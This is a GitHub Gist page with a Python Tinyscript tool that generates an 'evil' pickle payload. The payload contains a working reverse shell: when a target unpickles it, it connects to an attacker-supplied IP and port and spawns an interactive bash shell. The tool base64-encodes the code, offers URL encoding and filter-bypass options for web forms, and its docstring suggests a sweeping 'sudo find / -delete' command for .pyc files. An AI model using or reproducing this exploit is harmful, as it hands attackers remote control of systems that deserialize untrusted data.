Skip to content

Instantly share code, notes, and snippets.

@dhondta

dhondta/README.md

Last active Aug 25, 2020
Embed
What would you like to do?
Tinyscript tool for making an evil Pickle

Evil Pickle creation tool

This is a Tinyscript wrapper for this Gist, working with Python 2 and 3.

#!/usr/bin/env python
import marshal
from tinyscript import *
__author__ = "Alexandre D'Hondt"
__email__ = "alexandre.dhondt@gmail.com"
__reference__ = "https://gist.githubusercontent.com/BGrewell/ba619281070cc6185d81e32791a2289e/raw/" \
"fb63ce7aec76b2bf3313cae0333d1603d183550b/rotten_pickle.py"
__doc__ = """
This tool is a Tinyscript wrapper for the aforementioned Gist.
This script creates a reverse shell that will be executed when the python pickle package attempts to unpickle it.
It can pickle any python code and execute it on the target when it is unpickled as long as the target has whatever
modules you try to import. This code base64 encodes the python code so that it can be passed around as ASCII/Unicode
text. It optionally URL encodes it so that it can be submitted through webforms ect.
Important note: With Python3, you could experience the following error: "ValueError: bad marshal data (unknown type code)"
In this case, execute "sudo find / -name '*.pyc' -delete" to remove all pre-compiled Python files and retry.
"""
# This is the main skeleton for building our payloads. It will be modified to include our custom function(s) in the
# wrapper below. Do not modify this unless you know what you are doing.
SKELETON = """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'{0}'
tRtRc__builtin__
globals
(tRS''
tR(tR.{1}
"""
PAYLOAD = """
def wrapper():
import socket,subprocess,os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{}", {}))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p=subprocess.call(["/bin/bash", "-i"])
"""
if __name__ == '__main__':
parser.add_argument("ip", type=ts.ip_address, help="attacker's IP address")
parser.add_argument("port", type=ts.port_number, help="attacker's port number")
parser.add_argument("-a", "--append", default="", help="custom text (or instructions) to include",
note="this can be useful for bypassing filtering on web inputs")
parser.add_argument("-l", "--line-endings", default="\n", help="characters to use for line endings",
note="if these don't match the target you can get weird import errors")
parser.add_argument("-u", "--url-encode", action="store_true", help="URL encode the resulting payload")
initialize()
exec(PAYLOAD.format(args.ip, args.port))
payload = ensure_str(base64.b64encode(marshal.dumps(wrapper.__code__ if PYTHON3 else wrapper.func_code)))
logger.debug("Payload:\n" + payload)
rotten_pickle = SKELETON.format(payload, args.append).strip()
if "\r" in args.line_endings:
rotten_pickle = rotten_pickle.replace("\n", "\r\n")
if "\n" not in args.line_endings:
rotten_pickle = rotten_pickle.replace("\n", "")
if args.url_encode:
rotten_pickle = codecs.encode(rotten_pickle, "url")
print(rotten_pickle)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment